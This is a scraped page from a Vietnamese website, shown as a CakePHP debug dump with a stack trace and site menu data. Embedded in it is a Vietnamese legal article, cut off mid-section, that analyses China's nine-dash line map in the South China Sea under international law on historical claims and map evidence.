'1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '5', 'rght' => '6' ) ) $chaytrai = array( 'Advertisement' => array( 'id' => '2', 'name' => null, 'link' => '', 'images' => '201602160646338f7cfbf080f7dfc1a2bafa3a3f0dd7c1.jpg', 'display' => '1', 'created' => '2015-11-13', 'modified' => '2017-02-07', 'status' => '1', 'pos' => '0', 'content' => null, 'slug' => null, 'lft' => '3', 'rght' => '4' ) ) $chiasekinhnghiem = array() $list_menu_footer = array() $danhmuc_left_parent = array( (int) 0 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ) ) $danhmuc = array( (int) 0 => array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ), (int) 1 => array( 'Catproduct' => array( 'id' => '2', 'name' => 'Sản phẩm', 'slug' => 'san-pham' ) ), (int) 2 => array( 'Catproduct' => array( 'id' => '3', 'name' => 'Giới thiệu', 'slug' => 'gioi-thieu' ) ), (int) 3 => array( 'Catproduct' => array( 'id' => '5', 'name' => 'Download', 'slug' => 'download' ) ), (int) 4 => array( 'Catproduct' => array( 'id' => '40', 'name' => 'Tin Tức', 'slug' => 'tin-tuc' ) ), (int) 5 => array( 'Catproduct' => array( 'id' => '6', 'name' => 'Liên hệ', 'slug' => 'lien-he' ) ) ) $support = array( (int) 0 => array( 'Support' => array( 'id' => '13', 'name' => 'Co so Ha noi', 'phone' => '098 987 678', 'yahoo' => 'duycuong7640', 'skype' => 'duycuong7640', 'pos' => '0', 'created' => '2013-09-13', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ), (int) 1 => array( 'Support' => array( 'id' => '16', 'name' => 'Co so TP.HCM', 'phone' => '3252 436 432', 'yahoo' => 'duycuong7640', 'skype' => 'tuvantubep', 'pos' => '0', 'created' => '2014-01-15', 'modified' => '2015-05-05', 'status' => '1', 'yahoo1' => 'duycuong7640', 'skype1' => '', 'hotline' => '0987 654 999', 'email' => '', 'name1' => '' ) ) ) $content_for_layout = '<div class="bg-cat-danhmuc"> <div class="cat-title-danhmuc"> <a href="" title=""> <h1></h1> </a> </div> </div> <div class="box-content-detail"> <div class="clear-content"></div><div class="clear-content"></div> <div class="col-product"> <div class="box-new-content"> <div class="box-new-detail"> <div class="time-date"> 12:00:00 <span>21/06/2016</span> </div><!--end time-date--><div class="clear-content"></div> <div class="box-like-share"> <div class="like1"> <div class="fb-like" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-layout="standard" data-action="like" data-show-faces="true" data-share="true"></div> </div> </div><!--end box-like-share--><div class="clear-content"></div> <div class="ct-tt"> <div class="clear-main"></div> </div><!--end ct-tt--> <!--<div class="fb-comments" data-href="http://www.quangtayqht.vn/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do.htm" data-width="715" data-numposts="5" data-colorscheme="light"></div>--> <div class="clear-content"></div><div class="clear-content"></div> </div><!--end box-new-detail--> <div class="bar-new-detail"> <label>Private same category</label> <div class="clear-main"></div> <ul> <li> <a href="http://www.quangtayqht.vn/vn-tung-co-dong-dat-den-8-do-richter.htm" title=""> <h3> <span>(21-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban-1.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/dong-dat-va-song-than-nguon-nang-luong-huy-diet.htm" title=""> <h3> <span>(20-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/topo-cua-vu-tru.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/vai-tro-cua-khoa-hoc-co-ban.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ap-luc-tu-hop-tac-quoc-te.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/su-that-toan-hoc-theo-so-tay-thich-hoc-toan.htm" title=""> <h3> <span>(16-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/gan-lam-giac-mo-thien-van-viet-nam.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/ai-va-ky-o-xu-so-cua-nhung-con-so-tang-hinh.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> <li> <a href="http://www.quangtayqht.vn/tphcm-thiet-ke-thanh-cong-loi-ip-nen-anh-jpeg-2000.htm" title=""> <h3> <span>(15-06-2016)</span></h3> </a> </li> </ul> <div class="clear-main"></div> </div><!--end bar-new-detail--> <div class="clear-main"></div> <div class="pagination"> <span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1" rel="first">« First</a></span><span class="prev"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11" rel="prev">« Previous</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:1">1</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:2">2</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:9">9</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:10">10</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:11">11</a></span><span class="current number">12</span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13">13</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:14">14</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:15">15</a></span>...<span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:46">46</a></span><span class="number"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47">47</a></span><span class="next"><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:13" rel="next">Next »</a></span><span><a href="/Product/chitiet/cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do/page:47" rel="last">End »</a></span>Page 12/47. View 10/461. </div> <div class="clear-main"></div> </div><!--end box-ctbar--> </div> </div>' $scripts_for_layout = '' $cap1 = array( 'Catproduct' => array( 'id' => '1', 'name' => 'Trang chủ', 'slug' => 'trang-chu' ) ) $dm_c2 = array()include - APP/View/Elements/menu.ctp, line 23 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::element() - CORE/Cake/View/View.php, line 424 include - APP/View/Layouts/home.ctp, line 107 View::_evaluate() - CORE/Cake/View/View.php, line 920 View::_render() - CORE/Cake/View/View.php, line 883 View::renderLayout() - CORE/Cake/View/View.php, line 539 View::render() - CORE/Cake/View/View.php, line 483 Controller::render() - CORE/Cake/Controller/Controller.php, line 957 ProductController::chitiet() - APP/Controller/ProductController.php, line 135 ReflectionMethod::invokeArgs() - [internal], line ?? Controller::invokeAction() - CORE/Cake/Controller/Controller.php, line 485 Dispatcher::_invoke() - CORE/Cake/Routing/Dispatcher.php, line 186 Dispatcher::dispatch() - CORE/Cake/Routing/Dispatcher.php, line 161 [main] - APP/webroot/index.php, line 92
Notice (8): Undefined index: name_eng [APP/View/Elements/menu.ctp, line 22]
Code Context
">
<div class="accordion-group"><div class="accordion-heading"><a class="accordion-toggle" <?php if(!empty($dm_c2)){?>data-toggle="collapse" data-parent="#accordion2" href="#collapse<?php echo $cap1['Catproduct']['id'];?>" title="<?php echo $cap1['Catproduct']['name'.LANGUAGE];?>"<?php }else{?>href="<?php echo DOMAIN.$cap1['Catproduct']['slug'];?>"<?php }?>>
$viewFile = '/home/quangtayqh/domains/quangtayqht.vn/public_html/app/View/Elements/menu.ctp'
$dataForView = array(
'cat12' => array(
'Catproduct' => array(
'id' => '40',
'name' => 'Tin Tức',
'parent_id' => null,
'alias' => 'tin-tuc',
'images' => '',
'lft' => '119',
'rght' => '120',
'pos' => '5',
'status' => '1',
'title_seo' => '',
'meta_key' => '',
'meta_des' => '',
'created' => '2015-12-16',
'modified' => '2019-07-06',
'slug' => 'tin-tuc',
'cate' => '4',
'link' => 'tin-tuc',
'name_eng' => '',
'name_tq' => '',
'type' => 'new',
'hot' => '0',
'content' => '',
'display' => '0',
'content_eng' => null
)
),
'title_for_layout' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ',
'tinmoiup' => array(
(int) 0 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 3 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 4 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 5 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 6 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 7 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 8 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 9 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
)
),
'tinlq' => array(
(int) 0 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 1 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 2 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 3 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 4 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 5 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 6 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 7 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 8 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
),
(int) 9 => array(
'Post' => array(
[maximum depth reached]
),
'Catproduct' => array(
[maximum depth reached]
)
)
),
'detailNews' => array(
'Post' => array(
'id' => '418',
'name' => 'Chấm và vạch trong Biển Đông: nhìn nhận từ Luật chứng cứ bản đồ',
'code' => null,
'alias' => 'cham-va-vach-trong-bien-dong-nhin-nhan-tu-luat-chung-cu-ban-do',
'cat_id' => '40',
'price' => '0',
'type' => 'new',
'shortdes' => '',
'content' => '<br />
<img alt="" src="/admin/webroot/upload/image/images/Chấm và vạch trong Biển Đông.jpg" style="width: 250px; height: 182px;" /><br />
<br />
<div>
Ngày 07 tháng 5 năm 2009, Cộng hòa Nhân dân Trung Hoa (CHNDTH) phản đối đệ trình của Việt Nam và đệ trình chung của Malaysia-Việt Nam gửi Ủy ban Ranh giới thềm lục địa (CLCS). Để hậu thuẫn cho các yêu sách của mình, Trung Quốc (TQ) đã kèm một bản đồ có vẽ một đường hình chữ U nhiều chấm bao trùm phần lớn Biển Đông vào công hàm phản đối.</div>
<div>
Bài nghiên cứu này là đưa ra một phân tích về mặt pháp lý quốc tế bản đồ nói trên. </div>
<div>
</div>
<div>
</div>
<div>
I. BẢN ĐỒ TRUNG QUỐC</div>
<div>
</div>
<div>
A. Nền tảng</div>
<div>
</div>
<div>
Nguồn gốc của đường chữ U bắt đầu từ các hoạt động của Uỷ ban thẩm tra Bản đồ Đất và Nước của Trung Hoa Dân Quốc (THDQ), thành lập vào năm 1933. Trách nhiệm của Uỷ ban này bao gồm việc khảo sát và đặt tên các đảo ở Biển Đông và in ra các bản đồ cho thấy các đảo này thuộc chủ quyền của TQ. [1]</div>
<div>
</div>
<div>
Đường nhiều chấm được chuẩn nhận chính thức đầu tiên phát xuất từ sau cuộc chiến tranh thế giới thứ hai. Tờ bản đồ đang bàn do Sở lãnh thổ và Ranh giới Bộ Nội vụ THDQ in ra vào tháng 12 năm 1946. [2] Trên bản đồ này, đường chữ U gồm 11 vạch liên tục bao kín phần lớn Biển Đông và các thể địa lý giữa đại dương. [3] Bắt đầu từ ranh giới Trung-Việt, hai vạch đầu tiên đi qua Vịnh Bắc Bộ. Vạch thứ ba và thứ tư của đường này phân cách bờ biển Việt Nam với các quần đảo Hoàng Sa và Trường Sa, tương ứng. Vạch thứ năm và thứ sáu trên đường đứt đoạn đi qua Bãi cạn James (4° N), thể địa lý biển cực nam mà TQ và THDQ tuyên bố chủ quyền. Di chuyển theo hướng đông bắc, hai vạch tiếp theo nằm giữa quần đảo Trường Sa phía này, và Borneo (Indonesia, Malaysia, và Brunei) và Philippines (tỉnh Palawan), phía kia. Vạch thứ chín, thứ mười, và thứ mười một phân cách Philippines với THDQ. [4] Sau khi loại Quốc dân Đảng khỏi Trung Hoa đại lục, CHNDTH cũng phát hành bản đồ vẽ với cùng các vạch trên. [5] Như vậy, từ đó trở đi, ở hai phía của eo biển Đài Loan đều thấy có bản đồ đường chữ U xuất hiện. Một trong thay đổi đặc biệt cần lưu ý: từ năm 1953, bản đồ Biển Đông TQ chỉ vẽ 9 thay vì 11 vạch (2 vạch ở Vịnh Bắc Bộ đã bị xoá). [6]</div>
<div>
</div>
<div>
B. Công hàm TQ gửi Tổng thư ký LHQ (ngày 07 tháng 5 năm 2009)</div>
<div>
</div>
<div>
Ở cấp độ quốc tế, tranh cãi xung quanh đường 9 chấm đã rộ lên trước Liên Hợp Quốc (LHQ) vào năm 2009 liên quan tới đệ trình chung của Malaysia-Việt nam[7] và đệ trình riêng của Việt Nam[8] cho CLCS. CLCS đưa ra khuyến nghị cho các nước ven biển có nhu cầu xác lập ranh giới bên ngoài thềm lục địa vượt quá 200 hải lý (nm). [9] Thời gian đệ trình của các chính phủ Việt Nam và Malaysia có thể được giải thích bởi thời hạn chót của họ là vào tháng 5 năm 2009. [10] Để đáp trả các đệ trình này, trong cùng ngày TQ đã chính thức gửi Tổng thư ký LHQ hai công hàm riêng biệt có kèm bản đồ đó [11], bằng cách này lần đầu tiên xác nhận đường chữ U, ở cấp quốc tế trong một tranh chấp cấp nhà nước, [12] với phản ứng giống hệt nhau sau đây:</div>
<div>
</div>
<div>
TQ có chủ quyền không thể tranh cãi đối với các đảo ở Biển Đông và các vùng biển lân cận, và được hưởng quyền chủ quyền và quyền tài phán trên các vùng biển liên quan cũng như biết đáy biển và lòng đất dưới biển (xem bản đồ kèm theo). Lập trường nêu trên đượcChính phủ TQ nhất quán thể hiện, và được cộng đồng quốc tế biết đến rộng rãi. [13]</div>
<div>
</div>
<div>
Đọc Công hàm này, một học giả Đài Bắc suy ra một số khẳng định của TQ:</div>
<div>
</div>
<div>
1. Chủ quyền đối với các đảo ở Biển Đông và vùng biển tiếp giáp chúng (bản đồ kèm theo cho thấy các thể địa lý biển sau đây trong đường đứt khúc theo tên: quần đảo Tây Sa, [14] quẩn đảo Nam Sa, [15] quần đảo Trung Sa, [16] và quẩn đảo Đông Sa[17]).</div>
<div>
</div>
<div>
2. Quyền chủ quyền và quyền tài phán đối với vùng biển liên quan bao gồm đáy biển và tầng đất dưới đáy biển của chúng.</div>
<div>
</div>
<div>
3. Tính nhất quán của vị thế chính thức của TQ về các yêu sách biển và lãnh thổ ở Biển Đông.</div>
<div>
</div>
<div>
4. Sự nhận biết của các nước bên thứ ba liên quan đến yêu sách của TQ về biển và lãnh thổ ở Biển Đông.</div>
<div>
</div>
<div>
5. Đường chữ U mô tả những yêu sách của TQ về chủ quyền, quyền chủ quyền và quyền tài phán. [18]</div>
<div>
</div>
<div>
Tuy nhiên, dường như công bằng để nói rằng giải thích chính thức của TQ trích dẫn trên, theo như ý nghĩa chính xác của bản đồ đính kèm, vẫn còn là mơ hồ. Cụ thể, bản chất pháp lý chính xác của các khu vực biển bao bọc bởi đường 9-chấm-vẫn còn mờ mịt, mặc dù có việc "làm rõ" của TQ. Điểu này được thể hiện rõ ràng bởi các phản ứng đang dạng mà họ gây ra tại các hội nghị chuyên ngành được tổ chức kể từ đó. [19]</div>
<div>
</div>
<div>
Theo hiểu biết của chúng tôi, cho đến nay chỉ có một nước là Philippines thực hiện nỗ lực giải thích.[20] TQ nhanh chóng trả lời với một công hàm mới, một lần nữa công hàm này chẳng làm cho rõ ràng hơn bao nhiêu. Trong công hàm mới này, đề ngày 14 tháng 4 năm 2011, TQ nêu rằng “chủ quyền và các quyền và quyền tài phán liên quan của TQ trong Biển Đông” được hỗ trợ bằng “chứng cứ lịch sử và pháp lý phong phú”'.[21] Điều rõ ràng trong tài liệu ngoại giao mới này là sự thiếu vắng của bất kỳ đề cập nào tới bản đồ trên. Từ sự thiếu vắng này, chúng ta có thể suy ra sự từ bỏ đường 9 chấm hay không? Chắc chắn, không thể giả định có một sự quay ngoắt (volte-face) một cách hời hợt. Hơn nữa, dù họ đang chủ trương làm dịu đi các quan ngại về tự do hàng hải ở Biển Đông, [22] ví như can thiệp gần đây của TQ đối với tàu thuyền Việt Nam và Philippines mà thôi cho thấy các yêu sách quá đáng của họ như trên bản đồ vẫn còn nguyên vẹn.</div>
<div>
</div>
<div>
II. CÁC YÊU SÁCH</div>
<div>
</div>
<div>
Công hàm ngày 07 tháng 5 năm 2009 của TQ, dù là có thể mới trong các khía cạnh vể biển của nó nhưng chỉ lặp lại những khẳng định tương tự như đã đưa ra trong quá khứ liên quan đến các thể địa lý. [23] Hơn nữa, nhiều học giả chủ yếu của TQ và Đài Loan đã đề ra các cách giải thích riêng của họ về đường 9 chấm. Giữa sự rối rắm này, người ta chỉ có thể chắc chắn một điều là các khẳng định TQ về Biển Đông không vượt quá ranh giới này. [24] Những quan điểm và giá trị pháp lý của các khẳng định này sẽ được thảo luận sau đây.</div>
<div>
</div>
<div>
A. Yêu sách lịch sử</div>
<div>
</div>
<div>
1. Thực hành Nhà nước (State practice)</div>
<div>
</div>
<div>
Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div>
<div>
</div>
<div>
Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div>
<div>
</div>
<div>
Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div>
<div>
</div>
<div>
Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div>
<div>
</div>
<div>
Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div>
<div>
</div>
<div>
Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div>
<div>
</div>
<div>
Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div>
<div>
</div>
<div>
Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div>
<div>
</div>
<div>
TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div>
<div>
</div>
<div>
2. Phân tích pháp lý</div>
<div>
</div>
<div>
Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div>
<div>
</div>
<div>
Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div>
<div>
</div>
<div>
Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div>
<div>
</div>
<div>
Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div>
<div>
</div>
<div>
Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div>
<div>
</div>
<div>
Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div>
<div>
</div>
<div>
3. Những diễn biến mới</div>
<div>
</div>
<div>
Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div>
<div>
</div>
<div>
Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div>
<div>
</div>
<div>
B. Các yêu sách đảo</div>
<div>
</div>
<div>
1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div>
<div>
</div>
<div>
Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div>
<div>
</div>
<div>
Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div>
<div>
</div>
<div>
